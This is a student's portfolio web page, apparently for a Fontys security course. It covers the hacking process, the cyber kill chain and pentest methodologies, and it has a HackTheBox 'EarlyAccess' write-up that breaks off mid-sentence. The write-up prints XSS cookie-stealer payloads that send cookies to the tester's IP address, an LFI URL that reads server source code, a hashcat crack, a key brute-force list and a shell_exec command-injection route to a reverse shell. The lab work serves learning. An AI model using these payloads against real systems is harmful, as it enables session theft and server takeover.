Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking 